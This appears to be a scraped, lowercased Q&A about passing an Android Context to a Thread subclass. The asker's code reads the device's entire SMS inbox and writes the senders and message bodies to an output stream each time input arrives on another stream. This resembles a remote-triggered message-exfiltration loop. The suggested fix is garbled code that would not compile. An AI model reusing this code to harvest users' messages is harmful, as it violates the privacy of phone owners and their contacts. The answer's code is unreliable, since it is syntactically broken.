java - Passing context from class extends thread -
before, using kelas1 extends service
, , code worked read inbox. don't know how work if class using kelas1 extends thread
.
sms.inbox(kelas1.this,localdataoutputstream);
and code:
kelas1.java
public class kelas1 extends thread { public void run() { //code while (true) { charsread = in.read(buffer); if (charsread != 1) { string message = new string(buffer).substring(0, charsread).replace(system.getproperty("line.separator"),""); log.d("wew", message); // problem sms.inbox(kelas1.this,localdataoutputstream); } }
readsms.java
public class readsms { public void inbox(context context, dataoutputstream outstr) throws ioexception{ uri urismsuri = uri.parse("content://sms/inbox"); cursor cur = context.getcontentresolver().query(urismsuri, null, null, null,null); string sms = ""; int body = cur.getcolumnindex("body"); while (cur.movetonext()) { sms += "dari :" + cur.getstring(2) + " : " + cur.getstring(body); } log.d("wew", sms); sms = sms + "\nbaca sms selesai"; outstr.writebytes(sms); } }
you need context of activity class, need 1 constructor in kelas1
context context; public kelas1(context context) { this.context = context; }
then in code must use context like:
sms.inbox(context,localdataoutputstream);
change code top like:
final context context; public class kelas1 extends activity { public kelas1(context context) { this.context = context; call_thread(); } public void call_thread(){ new thread(new runnable(){ public void run() { while (true) { charsread = in.read(buffer); if (charsread != 1) { string message = new string(buffer).substring(0, charsread).replace(system.getproperty("line.separator"),""); log.d("wew", message); // problem sms.inbox(this.context,localdataoutputstream); } } }).start(); } }
Comments
Post a Comment